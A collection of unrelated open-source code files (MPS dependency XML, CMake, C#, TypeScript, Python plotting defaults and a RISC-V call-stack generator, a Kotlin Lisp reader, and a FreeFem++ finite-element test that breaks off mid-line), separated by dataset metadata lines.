dependClassName="jetbrains.mps.smodel.runtime.base.BaseReferenceConstraintsDescriptor" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SReferenceLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestRefConstraints_BaseReference_Scoping_Constraints"> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="java.util.HashMap" /> <classNode dependClassName="java.util.Map" /> <classNode dependClassName="jetbrains.mps.internal.collections.runtime.IWhereFilter" /> <classNode dependClassName="jetbrains.mps.internal.collections.runtime.ListSequence" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SLinkOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.scope.ListScope" /> <classNode dependClassName="jetbrains.mps.scope.Scope" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceScopeProvider" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseReferenceConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseScopeProvider" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SReferenceLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNodeReference" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestRefConstraints_Constants"> <classNode dependClassName="java.lang.String" /> </dependency> <dependency className="constraints.test.constraints.TestRefConstraints_SubReference_HandlerSuperHandler_Constraints"> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_Constants" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="java.util.HashMap" /> <classNode dependClassName="java.util.Map" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseReferenceConstraintsDescriptor" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SReferenceLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestRefConstraints_SubReference_HandlerSuperScoping_Constraints"> <classNode dependClassName="constraints.test.constraints.TestRefConstraints_Constants" /> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="java.util.HashMap" /> <classNode dependClassName="java.util.Map" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseReferenceConstraintsDescriptor" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SReferenceLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestRefConstraints_SubReference_ScopingSuperHandler_Constraints"> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="java.util.HashMap" /> <classNode dependClassName="java.util.Map" /> <classNode dependClassName="jetbrains.mps.internal.collections.runtime.IWhereFilter" /> <classNode dependClassName="jetbrains.mps.internal.collections.runtime.ListSequence" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SLinkOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.scope.ListScope" /> <classNode dependClassName="jetbrains.mps.scope.Scope" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceScopeProvider" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseReferenceConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseScopeProvider" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SReferenceLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNodeReference" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestRefConstraints_SubReference_ScopingSuperScoping_Constraints"> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="java.util.HashMap" /> <classNode dependClassName="java.util.Map" /> <classNode dependClassName="jetbrains.mps.internal.collections.runtime.IWhereFilter" /> <classNode dependClassName="jetbrains.mps.internal.collections.runtime.ListSequence" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SLinkOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SPropertyOperations" /> <classNode dependClassName="jetbrains.mps.scope.ListScope" /> <classNode dependClassName="jetbrains.mps.scope.Scope" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceScopeProvider" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseReferenceConstraintsDescriptor" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseScopeProvider" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SProperty" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SReferenceLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNode" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNodeReference" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> <dependency className="constraints.test.constraints.TestRefConstraints_Target_Constraints"> <classNode dependClassName="java.lang.Override" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SLinkOperations" /> <classNode dependClassName="jetbrains.mps.lang.smodel.generator.smodelAdapter.SNodeOperations" /> <classNode dependClassName="jetbrains.mps.scope.ListScope" /> <classNode dependClassName="jetbrains.mps.scope.Scope" /> <classNode dependClassName="jetbrains.mps.smodel.SNodePointer" /> <classNode dependClassName="jetbrains.mps.smodel.adapter.structure.MetaAdapterFactory" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.CheckingNodeContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintContext_DefaultScopeProvider" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ConstraintFunction" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceConstraintsContext" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.ReferenceScopeProvider" /> <classNode dependClassName="jetbrains.mps.smodel.runtime.base.BaseScopeProvider" /> <classNode dependClassName="org.jetbrains.annotations.NotNull" /> <classNode dependClassName="org.jetbrains.annotations.Nullable" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SConcept" /> <classNode dependClassName="org.jetbrains.mps.openapi.language.SContainmentLink" /> <classNode dependClassName="org.jetbrains.mps.openapi.model.SNodeReference" /> <classNode extendsClassName="jetbrains.mps.smodel.runtime.base.BaseConstraintsDescriptor" /> </dependency> </dependenciesRoot>
{ "pile_set_name": "Github" }
prefix : <http://ex.org/> select * WHERE{ ?X :p{0} ?Y } ORDER BY ?X
{ "pile_set_name": "Github" }
module.exports = require('./stubTrue');
{ "pile_set_name": "Github" }
# This is basically the overall name of the project in Visual Studio this is the name of the Solution File # For every executable you have with a main method you should have an add_executable line below. # For every add executable line you should list every .cpp and .h file you have associated with that executable. # You shouldn't have to modify anything below this line ######################################################## INCLUDE_DIRECTORIES( ${BULLET_PHYSICS_SOURCE_DIR}/src ${BULLET_PHYSICS_SOURCE_DIR}/Demos/OpenGL ) LINK_LIBRARIES( OpenGLSupport BulletDynamics BulletCollision LinearMath ${GLUT_glut_LIBRARY} ${OPENGL_gl_LIBRARY} ${OPENGL_glu_LIBRARY} ) ADD_EXECUTABLE(AppMotorDemo MotorDemo.cpp main.cpp ) IF (WIN32) IF (NOT INTERNAL_CREATE_DISTRIBUTABLE_MSVC_PROJECTFILES) IF (CMAKE_CL_64) ADD_CUSTOM_COMMAND( TARGET AppMotorDemo POST_BUILD COMMAND ${CMAKE_COMMAND} ARGS -E copy_if_different ${BULLET_PHYSICS_SOURCE_DIR}/glut64.dll ${CMAKE_CURRENT_BINARY_DIR} ) ELSE(CMAKE_CL_64) ADD_CUSTOM_COMMAND( TARGET AppMotorDemo POST_BUILD COMMAND ${CMAKE_COMMAND} ARGS -E copy_if_different ${BULLET_PHYSICS_SOURCE_DIR}/GLUT32.DLL ${CMAKE_CURRENT_BINARY_DIR} ) ENDIF(CMAKE_CL_64) ENDIF (NOT INTERNAL_CREATE_DISTRIBUTABLE_MSVC_PROJECTFILES) ENDIF(WIN32) IF (INTERNAL_ADD_POSTFIX_EXECUTABLE_NAMES) SET_TARGET_PROPERTIES(AppMotorDemo PROPERTIES DEBUG_POSTFIX "_Debug") SET_TARGET_PROPERTIES(AppMotorDemo PROPERTIES MINSIZEREL_POSTFIX "_MinsizeRel") SET_TARGET_PROPERTIES(AppMotorDemo PROPERTIES RELWITHDEBINFO_POSTFIX "_RelWithDebugInfo") ENDIF(INTERNAL_ADD_POSTFIX_EXECUTABLE_NAMES)
{ "pile_set_name": "Github" }
/* See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * Esri Inc. licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace com.esri.gpt.publish { partial class FormMessageBox { /// <summary> /// Required designer variable. /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// Clean up any resources being used. /// </summary> /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows Form Designer generated code /// <summary> /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// </summary> private void InitializeComponent() { System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormMessageBox)); this.btnOK = new System.Windows.Forms.Button(); this.txtDetails = new System.Windows.Forms.TextBox(); this.lblDetails = new System.Windows.Forms.Label(); this.txtMessage = new System.Windows.Forms.TextBox(); this.SuspendLayout(); // // btnOK // resources.ApplyResources(this.btnOK, "btnOK"); this.btnOK.DialogResult = System.Windows.Forms.DialogResult.OK; this.btnOK.Name = "btnOK"; this.btnOK.UseVisualStyleBackColor = true; // // txtDetails // resources.ApplyResources(this.txtDetails, "txtDetails"); this.txtDetails.Name = "txtDetails"; this.txtDetails.ReadOnly = true; // // lblDetails // resources.ApplyResources(this.lblDetails, "lblDetails"); this.lblDetails.Name = "lblDetails"; // // txtMessage // resources.ApplyResources(this.txtMessage, "txtMessage"); this.txtMessage.BackColor = System.Drawing.SystemColors.ButtonFace; this.txtMessage.BorderStyle = System.Windows.Forms.BorderStyle.None; this.txtMessage.CausesValidation = false; this.txtMessage.Name = "txtMessage"; this.txtMessage.ReadOnly = true; this.txtMessage.TabStop = false; // // FormMessageBox // this.AcceptButton = this.btnOK; resources.ApplyResources(this, "$this"); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.Controls.Add(this.txtMessage); this.Controls.Add(this.lblDetails); this.Controls.Add(this.txtDetails); this.Controls.Add(this.btnOK); this.Name = "FormMessageBox"; this.SizeGripStyle = System.Windows.Forms.SizeGripStyle.Show; this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.Button btnOK; private System.Windows.Forms.TextBox txtDetails; private System.Windows.Forms.Label lblDetails; private System.Windows.Forms.TextBox txtMessage; } }
{ "pile_set_name": "Github" }
import { prop,propObject,propArray,required,maxLength,range } from "@rxweb/reactive-form-validators" import { gridColumn } from "@rxweb/grid" export class LanguageContentBase { //#region languageContentId Prop @prop() languageContentId : number; //#endregion languageContentId Prop //#region languageContentKeyId Prop @range({minimumNumber:1,maximumNumber:2147483647}) @required() languageContentKeyId : number; //#endregion languageContentKeyId Prop //#region contentTypeId Prop @prop() contentTypeId : number; //#endregion contentTypeId Prop //#region en Prop @required() en : string; //#endregion en Prop //#region contentType Prop @required() @maxLength({value:3}) contentType : string; //#endregion contentType Prop //#region fr Prop @prop() fr : string; //#endregion fr Prop }
{ "pile_set_name": "Github" }
#=============================================================================== # Copyright (c) 2015, Max Zwiessele # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # # * Neither the name of GPy nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE # DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR # SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER # CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, # OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #=============================================================================== from matplotlib import cm from .. import Tango ''' This file is for defaults for the gpy plot, specific to the plotting library. Create a kwargs dictionary with the right name for the plotting function you are implementing. If you do not provide defaults, the default behaviour of the plotting library will be used. In the code, always ise plotting.gpy_plots.defaults to get the defaults, as it gives back an empty default, when defaults are not defined. ''' # Data plots: data_1d = dict(lw=1.5, marker='x', color='k') data_2d = dict(s=35, edgecolors='none', linewidth=0., cmap=cm.get_cmap('hot'), alpha=.5) inducing_1d = dict(lw=0, s=500, color=Tango.colorsHex['darkRed']) inducing_2d = dict(s=17, edgecolor='k', linewidth=.4, color='white', alpha=.5, marker='^') inducing_3d = dict(lw=.3, s=500, color=Tango.colorsHex['darkRed'], edgecolor='k') xerrorbar = dict(color='k', fmt='none', elinewidth=.5, alpha=.5) yerrorbar = dict(color=Tango.colorsHex['darkRed'], fmt='none', elinewidth=.5, alpha=.5) # GP plots: meanplot_1d = dict(color=Tango.colorsHex['mediumBlue'], linewidth=2) meanplot_2d = dict(cmap='hot', linewidth=.5) meanplot_3d = dict(linewidth=0, antialiased=True, cstride=1, rstride=1, cmap='hot', alpha=.3) samples_1d = dict(color=Tango.colorsHex['mediumBlue'], linewidth=.3) samples_3d = dict(cmap='hot', alpha=.1, antialiased=True, cstride=1, rstride=1, linewidth=0) confidence_interval = dict(edgecolor=Tango.colorsHex['darkBlue'], linewidth=.5, color=Tango.colorsHex['lightBlue'],alpha=.2) density = dict(alpha=.5, color=Tango.colorsHex['lightBlue']) # GPLVM plots: data_y_1d = dict(linewidth=0, cmap='RdBu', s=40) data_y_1d_plot = dict(color='k', linewidth=1.5) # Kernel plots: ard = dict(edgecolor='k', linewidth=1.2) # Input plots: latent = dict(aspect='auto', cmap='Greys', interpolation='bicubic') gradient = dict(aspect='auto', cmap='RdBu', interpolation='nearest', alpha=.7) magnification = dict(aspect='auto', cmap='Greys', interpolation='bicubic') latent_scatter = dict(s=20, linewidth=.2, edgecolor='k', alpha=.9) annotation = dict(fontdict=dict(family='sans-serif', weight='light', fontsize=9), zorder=.3, alpha=.7)
{ "pile_set_name": "Github" }
"""Copyright 2020 Google LLC Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ import random import constraint #------------------------------------------------------------------------------ # RISC-V abstract program class # # This class is used to model a node in a callstack tree, no actual instruction # is included in this class. #------------------------------------------------------------------------------ class riscv_program: def __init__(self, name): self.name = name self.program_id = "ID of the current program" self.call_stack_level = ("The level of current program in the call stack " "tree") self.sub_program_id = [ ] # The list of all sub-programs of the current program self.solution = "A random solution which meets given constraints" self.problem = constraint.Problem(constraint.MinConflictsSolver()) def problem_definition(self): # TO DO: change the ranges (small ranges for now) # List of sub_program_ids, to randomize unique ids self.sub_program_id_list = [] self.num_of_sub_programs = random.randint(0, 20) self.sub_program_id = range(self.num_of_sub_programs) self.problem.addVariables(self.sub_program_id, range(25)) self.problem.addVariable(self.program_id, range(50)) def legal_c(sub_prog_id, prog_id): cond1 = sub_prog_id not in self.sub_program_id_list cond2 = sub_prog_id != prog_id if cond1 and cond2: self.sub_program_id_list.append(sub_prog_id) return True for i in self.sub_program_id: self.problem.addConstraint(legal_c, [i, self.program_id]) def convert2string(self): str = "PID[{}] Lv[{}] :".format(self.solution[self.program_id], self.call_stack_level) for item in self.sub_program_id: str = "{} {}".format(str, item) return str def randomize(self): self.solution = self.problem.getSolution() #----------------------------------------------------------------------------------------- # RISC-V assembly program call stack generator # # The call stack is generated as a tree structure to avoid dead call loop. # Level 0: P0 # / | \ # Level 1: P1 P2 P3 # | \/ \ # Level 2: P4 P5 P6 # | # Level 3: P7 # # Rules: A program can only call the program in the next level. # A program can be called many times by other upper level programs. # A program can call the same lower level programs multiple times. #----------------------------------------------------------------------------------------- class riscv_callstack_gen: def __init__(self, name): self.name = name # Number of programs in the call stack self.program_cnt = 10 # Handles of all programs self.program_h = [] # objects are from type "riscv_program" # Maximum call stack level self.max_stack_level = 50 # Call stack level of each program self.stack_level = [] self.solution = "A random solution which meets given constraints" self.problem = constraint.Problem(constraint.MinConflictsSolver()) def problem_definition(self): self.stack_level = range(self.program_cnt) self.problem.addVariable(self.stack_level[0], [0]) self.problem.addVariables(self.stack_level[1:], range(1, self.program_cnt)) def program_stack_level_c(level, level_minus_one): # Already applied # cond1 = level in range(1, self.program_cnt) if level_minus_one <= level <= level_minus_one + 1 and level <= self.max_stack_level: return True for i in self.stack_level[1:]: self.problem.addConstraint(program_stack_level_c, [i, i - 1]) # Init all program instances before randomization def init(self, program_cnt): self.program_cnt = program_cnt self.program_h = [None] * program_cnt for i in range(len(self.program_h)): self.program_h[i] = riscv_program("program_{}".format(i)) def randomize(self): solution_existed = 0 self.solution = self.problem.getSolution() self.post_randomize() if self.solution: solution_existed = 1 return solution_existed # In the randomiation stage, only the stack level of each program is specified. The call stack # generation process is to build the call relationship between different programs. This is # implemented with post randomize rather than constraints for performance considerations. # Solving a complex call stack with SV constraint could take considerable time for the solver. def post_randomize(self): last_level = self.stack_level[self.program_cnt - 1] for i in range(len(self.program_h)): self.program_h[i].program_id = i self.program_h[i].call_stack_level = self.stack_level[i] # Top-down generate the entire call stack. # A program can only call the programs in the next level. for i in range(last_level): program_list = [] next_program_list = [] idx = 0 # sub_program_id_pool = [] # sub_program_cnt = [] for j in range(len(self.stack_level)): if self.stack_level[j] == i: program_list.append(j) if self.stack_level[j] == i + 1: next_program_list.append(j) # Randomly duplicate some sub programs in the pool to create a case that # one sub program is called by multiple caller. Also it's possible to call # the same sub program in one program multiple times. total_sub_program_cnt = random.randint( len(next_program_list), len(next_program_list) + 1) sub_program_id_pool = [None] * total_sub_program_cnt for j in range(len(sub_program_id_pool)): if j < len(next_program_list): sub_program_id_pool[j] = next_program_list[j] else: sub_program_id_pool[j] = random.choice(next_program_list) random.shuffle(sub_program_id_pool) sub_program_cnt = [None] * len(program_list) for i in range(len(program_list)): sub_program_cnt[i] = i # Distribute the programs of the next level among the programs of current level # Make sure all program has a caller so that no program is obsolete. problem = constraint.Problem(constraint.MinConflictsSolver()) problem.addVariables(sub_program_cnt, range(0, len(sub_program_id_pool) + 1)) problem.addConstraint( constraint.ExactSumConstraint(len(sub_program_id_pool)), [item for item in sub_program_cnt]) solution = problem.getSolution() for j in range(len(program_list)): id = program_list[j] self.program_h[id].sub_program_id = [None ] * solution[sub_program_cnt[j]] for i in range(len(self.program_h[id].sub_program_id)): self.program_h[id].sub_program_id[i] = sub_program_id_pool[idx] idx += 1 def print_call_stack(self, id, str): if len(self.program_h[id].sub_program_id) == 0: print(str) else: for item in self.program_h[id].sub_program_id: print_call_stack(item, "{} -> {}".format(str, item))
{ "pile_set_name": "Github" }
package mal import kotlin.text.Regex val TOKEN_REGEX = Regex("[\\s,]*(~@|[\\[\\]{}()'`~^@]|\"(?:\\\\.|[^\\\\\"])*\"?|;.*|[^\\s\\[\\]{}('\"`,;)]*)") val ATOM_REGEX = Regex("(^-?[0-9]+$)|(^nil$)|(^true$)|(^false$)|^\"((?:\\\\.|[^\\\\\"])*)\"$|^\"(.*)$|:(.*)|(^[^\"]*$)") class Reader(sequence: Sequence<String>) { val tokens = sequence.iterator() var current = advance() fun next(): String? { var result = current current = advance() return result } fun peek(): String? = current private fun advance(): String? = if (tokens.hasNext()) tokens.next() else null } fun read_str(input: String?): MalType { val tokens = tokenizer(input) ?: return NIL return read_form(Reader(tokens)) } fun tokenizer(input: String?): Sequence<String>? { if (input == null) return null return TOKEN_REGEX.findAll(input) .map({ it -> it.groups[1]?.value as String }) .filter({ it != "" && !it.startsWith(";")}) } fun read_form(reader: Reader): MalType = when (reader.peek()) { null -> throw MalContinue() "(" -> read_list(reader) ")" -> throw MalReaderException("expected form, got ')'") "[" -> read_vector(reader) "]" -> throw MalReaderException("expected form, got ']'") "{" -> read_hashmap(reader) "}" -> throw MalReaderException("expected form, got '}'") "'" -> read_shorthand(reader, "quote") "`" -> read_shorthand(reader, "quasiquote") "~" -> read_shorthand(reader, "unquote") "~@" -> read_shorthand(reader, "splice-unquote") "^" -> read_with_meta(reader) "@" -> read_shorthand(reader, "deref") else -> read_atom(reader) } fun read_list(reader: Reader): MalType = read_sequence(reader, MalList(), ")") fun read_vector(reader: Reader): MalType = read_sequence(reader, MalVector(), "]") private fun read_sequence(reader: Reader, sequence: IMutableSeq, end: String): MalType { reader.next() do { val form = when (reader.peek()) { null -> throw MalReaderException("expected '$end', got EOF") end -> { reader.next(); null } else -> read_form(reader) } if (form != null) { sequence.conj_BANG(form) } } while (form != null) return sequence } fun read_hashmap(reader: Reader): MalType { reader.next() val hashMap = MalHashMap() do { var value : MalType? = null; val key = when (reader.peek()) { null -> throw MalReaderException("expected '}', got EOF") "}" -> { reader.next(); null } else -> { var key = read_form(reader) if (key !is MalString) { throw MalReaderException("hash-map keys must be strings or keywords") } value = when (reader.peek()) { null -> throw MalReaderException("expected form, got EOF") else -> read_form(reader) } key } } if (key != null) { hashMap.assoc_BANG(key, value as MalType) } } while (key != null) return hashMap } fun read_shorthand(reader: Reader, symbol: String): MalType { reader.next() val list = MalList() list.conj_BANG(MalSymbol(symbol)) list.conj_BANG(read_form(reader)) return list } fun read_with_meta(reader: Reader): MalType { reader.next() val meta = read_form(reader) val obj = read_form(reader) val list = MalList() list.conj_BANG(MalSymbol("with-meta")) list.conj_BANG(obj) list.conj_BANG(meta) return list } fun read_atom(reader: Reader): MalType { val next = reader.next() ?: throw MalReaderException("Unexpected null token") val groups = ATOM_REGEX.find(next)?.groups ?: throw MalReaderException("Unrecognized token: " + next) return if (groups[1]?.value != null) { MalInteger(groups[1]?.value?.toLong() ?: throw MalReaderException("Error parsing number: " + next)) } else if (groups[2]?.value != null) { NIL } else if (groups[3]?.value != null) { TRUE } else if (groups[4]?.value != null) { FALSE } else if (groups[5]?.value != null) { MalString((groups[5]?.value as String).replace(Regex("""\\(.)""")) { m: MatchResult -> if (m.groups[1]?.value == "n") "\n" else m.groups[1]?.value.toString() }) } else if (groups[6]?.value != null) { throw MalReaderException("expected '\"', got EOF") } else if (groups[7]?.value != null) { MalKeyword(groups[7]?.value as String) } else if (groups[8]?.value != null) { MalSymbol(groups[8]?.value as String) } else { throw MalReaderException("Unrecognized token: " + next) } }
{ "pile_set_name": "Github" }
include "test.idp" load "Element_Mixte" cout << functionDEFINITION << " Element_Mixte" << endl; real t; mesh Th = square(10, 10); cout << parameterDEFINITION << "TDNNS0" << endl; { fespace Uh1(Th, TDNNS0); Uh1 [u1, u2, u3]; Uh1 [err1, err2, err3]; t = clock(); [u1, u2, u3] = [0, dx(u1), 3]; t = clock() - t; cout << timeELAPSED << t << endl; [err1, err2, err3] = [abs(u2 - u1), 0, 0]; test(err1[].linfty < HWERROR); } cout << parameterDEFINITION << "TDNNS1" << endl; { fespace Uh1(Th, TDNNS1); Uh1 [u1, u2, u3]; Uh1 [err1, err2, err3]; t = clock(); [u1, u2, u3] = [0, dx(u1), 3]; t = clock() - t; cout << timeELAPSED << t << endl; [err1, err2, err3] = [abs(u2 - u1), 0, 0]; test(err1[].linfty < HWERROR); } cout << parameterDEFINITION << "RT1" << endl; { fespace Uh1(Th, RT1); Uh1 [u1, u2]; Uh1 [err1, err2]; t = clock(); [u1, u2] = [0, dx(u1)]; t = clock() - t; cout << timeELAPSED << t << endl; [err1, err2] = [abs(u2 - u1), 0]; test(err1[].linfty < HWERROR); } cout << parameterDEFINITION << "RT1Ortho" << endl; { fespace Uh1(Th, RT1Ortho); Uh1 [u1, u2]; Uh1 [err1, err2]; t = clock(); [u1, u2] = [0, dx(u1)]; t = clock() - t; cout << timeELAPSED << t << endl; [err1, err2] = [abs(u2 - u1), 0]; test(err1[].linfty < HWERROR); } cout << parameterDEFINITION << "RT2" << endl; { fespace Uh1(Th, RT2); Uh1 [u1, u2]; Uh1 [err1, err2]; t = clock(); [u1, u2] = [0, dx(u1)]; t = clock() - t; cout << timeELAPSED << t << endl; [err1, err2] = [abs(u2 - u1), 0]; test(err1[].linfty < HWERROR); } cout << parameterDEFINITION << "RT2Ortho" << endl; { fespace Uh1(Th, RT2Ortho); Uh1 [u1, u2]; Uh1 [err1, err2]; t = clock(); [u1, u2] = [0, dx(u1)]; t = clock() - t; cout << timeELAPSED << t << endl; [err1, err2] = [abs(u2 - u1), 0]; test(err1[].linfty < HWERROR); } cout << parameterDEFINITION << "BDM1" << endl; { fespace Uh1(Th, BDM1); Uh1 [u1, u2]; Uh1 [err1, err2]; t = clock(); [u1, u2] = [0, dx(u1)]; t = clock() - t; cout << timeELAPSED << t << endl; [err1, err2] = [abs(u2 - u1), 0]; test(err1[].linfty < HWERROR); } cout << parameterDEFINITION << "BDM1Ortho" << endl; { fespace Uh1(Th, 